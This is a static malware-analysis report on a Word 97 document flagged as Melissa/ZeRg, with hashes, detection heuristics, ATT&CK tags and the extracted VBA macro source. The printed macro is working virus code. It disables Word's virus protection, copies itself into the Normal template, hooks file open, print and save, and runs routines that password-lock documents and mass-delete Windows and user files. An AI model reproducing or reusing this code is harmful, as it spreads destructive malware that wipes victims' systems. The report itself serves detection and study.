Melissa — Office (OLE) malware analysis

Static analysis result for SHA-256 b4ceb7bfd40bebc1…

MALICIOUS

Office (OLE)

54.5 KB Created: 1999-03-30 11:23:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6e745e9d1f8f875982abaaaeaba5b2c6 SHA-1: 97fa1035b78c9c6fd1fd0f64e701364c62d732f1 SHA-256: b4ceb7bfd40bebc13ad7b511bee11c734b291f06295a1ef43c05c1ad2c8dc8ea
300 Risk Score

Malware Insights

Melissa · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and VBA macros, including an AutoOpen macro that uses CreateObject. The embedded VBA script, identified as the 'ZeRg WM97 Virus', attempts to delete files and execute commands, indicating malicious intent. The document body lists numerous URLs and email addresses, suggesting a credential harvesting or phishing lure.

Heuristics 6

  • ClamAV: Doc.Trojan.Melissa-23 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Melissa-23
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5254 bytes
SHA-256: 698a78791523b303822baba58a59c14df8977686f42e6646471228596089a411
Detection
ClamAV: Doc.Trojan.Zerg-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ZeRg"
Sub AutoExec()
Attribute AutoExec.VB_Description = "ZeRg 1.0"
Attribute AutoExec.VB_ProcData.VB_Invoke_Func = "Normal.ZeRg.AutoExec"
' The ZeRg WM97 Virus (c) 1999 ElectroMagnetic Defication
' First Attempt At Macro Viruses For Word 97
' If You Are Reading This, Then You Are Smarter Than The Average Idiot.
' I Should Have Made This To Just Send The E-Mail And Toast The Drive, But I Decided Not To.
' Greetings To F-Prot, McAfee-(World's Worst AV), Norton, Dr. Solomon (Now Gay As McAfee), Fuck You All In The Ass!!!!!
' Thank You For Purchasing Microsoft Office 97
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
Application.VBE.ActiveVBProject.VBComponents("ZeRg").Export "c:\ZeRg.mta"
If Day(Now) = Minute(Now) Then
With WordBasic
.Call "YourAss"
End With
GoTo AllDone

AllDone:
On Error Resume Next
End If
End Sub

Sub ToolsMacro()
With WordBasic
.Call "YourAss"
End With
End Sub

Sub ViewVBCode()
With WordBasic
.Call "YourAss"
End With
End Sub

Sub YourAss()
On Error Resume Next
Kill "*.*"
Kill "c:\*.*"
Kill "c:\zerg.mta"
Kill "c:\windows\*.*"
Kill "c:\windows\*.exe"
Kill "c:\windows\*.com"
Kill "c:\windows\system\*.dll"
Kill "c:\windows\system\*.*"
Kill "c:\windows\command\*.exe"
Kill "c:\windows\command\*.*"
Kill "c:\My Documents\*.*"
Kill "c:\winnt\*.exe"
Kill "c:\winnt\*.*"
Kill "c:\winnt\system\*.*"
Kill "c:\winnt\system\*.dll"
Kill "c:\winnt\system32\*.*"
Kill "c:\winnt\system32\*.dll"
Kill "c:\winnt\system32\drivers\*.*"
Kill "c:\winnt\system32\win.com"
Kill "c:\winnt\system32\drivers\*.sys"
Tasks.ExitWindows
MsgBox "Hello " & Application.UserName & " You Stupid Fuck! Your Computer Has Been Fucked By ZeRg 1.0", vbOKOnly
End Sub

Sub AutoOpen()
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
If Day(Now) = Hour(Now) Then
Set FunnyShit = ActiveDocument
FunnyShit.Password = "ZeRg1.0"
ActiveDocument.Save
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "ZeRg") = "(c) 1999 Electro Magnetic Defication"
Dim EN$
On Error GoTo -1: On Error GoTo NotThere
With WordBasic
.ToolsMacro Name:="CheckForZerg", Show:=1, Run:=1
.Call "Zerg"
End With
GoTo AlreadyThere
NotThere:
Err.Number = 0
On Error Resume Next
EN$ = WordBasic.[FileName$]()
With WordBasic
.MacroCopy EN$ + ":ZeRg", "ZeRg", 1
NormalTemplate.Save
Application.VBE.ActiveVBProject.VBComponents("ZeRg").Export "c:\ZeRg.mta"
End With
GoTo AlreadyThere
AlreadyThere:
If Day(Now) = Minute(Now) Then
With WordBasic
.Call "YourAss"
End With
GoTo AllDone

AllDone:
End If
End Sub
Sub CheckForZerg()

End Sub
Sub FileOpen()
On Error GoTo ChangeMind
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
With WordBasic
.CurValues.FileOpen dlg
.Dialog.FileOpen dlg
.FileOpen dlg
.Call "Zerg"
End With
ChangeMind:
End Sub

Sub FilePrint()
On Error GoTo ChangeMind
Options.VirusProtection = False
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FilePrint(False)
With WordBasic
.CurValues.FilePrint dlg
.Dialog.FilePrint dlg
.FilePrint dlg
.Call "Zerg"
End With
ChangeMind:
End Sub

Sub FileSaveAs()
On Error GoTo ChangeMind
Options.VirusProtection = False
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
With WordBasic
.CurValues.FileSaveAs dlg
.Dialog.FileSaveAs dlg
.FileSaveAs dlg
.Call "Zerg"
End With
ChangeMind:
End Sub

Sub Zerg()
Attribute Zerg.VB_ProcData.VB_Invoke_Func = "Normal.ZeRg.Zerg"
On Error Resume Next
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "ZeRg" Then Z = True
Next i
If Z = True Then GoTo AlreadyThere Else
ActiveDocument.VBProjec
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.